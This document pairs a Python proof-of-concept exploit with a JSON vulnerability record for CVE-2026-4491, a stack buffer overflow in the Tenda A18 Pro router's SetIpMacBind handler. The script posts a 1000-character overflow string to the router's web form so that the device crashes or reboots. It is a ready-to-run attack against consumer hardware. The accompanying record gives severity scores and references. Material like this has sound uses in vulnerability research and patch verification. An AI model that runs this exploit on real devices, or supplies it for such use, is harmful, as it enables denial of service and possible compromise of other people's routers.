CVE-2026-4491

import requests def exploit(target_ip): """ PoC for CVE-2026-4491 Target: Tenda A18 Pro 02.03.02.28 Vulnerability: Stack-based Buffer Overflow in fromSetIpMacBind """ url = f"http://{target_ip}/goform/SetIpMacBind" # Constructing a malicious payload to trigger the buffer overflow # The exact length to overwrite the return address depends on the specific stack layout # This payload sends a large string to cause a crash/DoS payload = "A" * 1000 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } data = { "list": payload, "goformId": "SetIpMacBind" } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Response status code: {response.status_code}") print("[+] Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual IP address of the target device target = "192.168.0.1" exploit(target)

{"cve": {"id": "CVE-2026-4491", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:17:00.240", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tenda A18 Pro 02.03.02.28. Impacted is the function fromSetIpMacBind of the file /goform/SetIpMacBind. Such manipulation of the argument list leads to stack-based buffer overflow. The attack can be executed remotely. The exploit has been disclosed to the public and may be used."}, {"lang": "es", "value": "Una vulnerabilidad ha sido encontrada en Tenda A18 Pro 02.03.02.28. Afectada es la función fromSetIpMacBind del archivo /goform/SetIpMacBind. Tal manipulación de la lista de argumentos lleva a desbordamiento de búfer basado en pila. El ataque puede ser ejecutado remotamente. El exploit ha sido divulgado al público y puede ser usado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/lilukun337/cve/issues/3", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352017", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352017", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.773671", "source": "[email protected]"}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]"}]}}